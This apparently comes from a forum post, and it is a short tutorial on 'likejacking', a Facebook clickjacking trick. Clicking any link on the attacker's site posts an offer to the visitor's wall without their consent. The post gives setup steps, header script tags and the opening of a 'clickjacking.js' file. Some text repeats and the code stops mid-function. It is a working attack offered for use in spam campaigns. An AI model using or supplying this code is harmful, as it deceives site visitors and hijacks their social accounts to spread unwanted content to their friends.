I'm not going to go too crazy in depth with this, just a basic rundown. Basically using a "like jacking" technique you can have any offer you want post on the facebook wall of whoever clicks a link on your website.
Change the headers of your webpage with the following:
Copy this to a text file and save it as "clickjacking.js" Then upload it to the root folder of your website:
Then go to http://developers.facebook.com/docs/reference/plugins/like/
Go to where it says "Get open Graph tags".
Put in your offer title, Url, Image, etc.
Click "get tags"
Paste the generated code into the header of your website as well.
Your done. Now when anyone who is logged into face book clicks any link on your site, your offer will appear on their wall for all their friends to see. Enjoy!
Change the headers of your webpage with the following:
Code:
<script src="http://code.jquery.com/jquery-1.5.js"></script>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script>window.DO_CLICKJACKING = 1</script>
<script src="clickjacking.js"></script>Copy this to a text file and save it as "clickjacking.js" Then upload it to the root folder of your website:
Code:
var $J = jQuery.noConflict();
// solve: images and floating divs
function heightestChild(elem)
{
var t=0;
var t_elem;
$J("*",elem).each(function () {
if ( $J(this).outerHeight(true) > t ) {
t_elem=$J(this);
t=t_elem.outerHeight(true);
}
});
// we care about the heighest
if (elem.outerHeight(true) > t)
{
t = elem.outerHeight(true);
}
//return elem.outerHeight(true);
return t+3; // hotfix

function highestOffsetTop(elem)
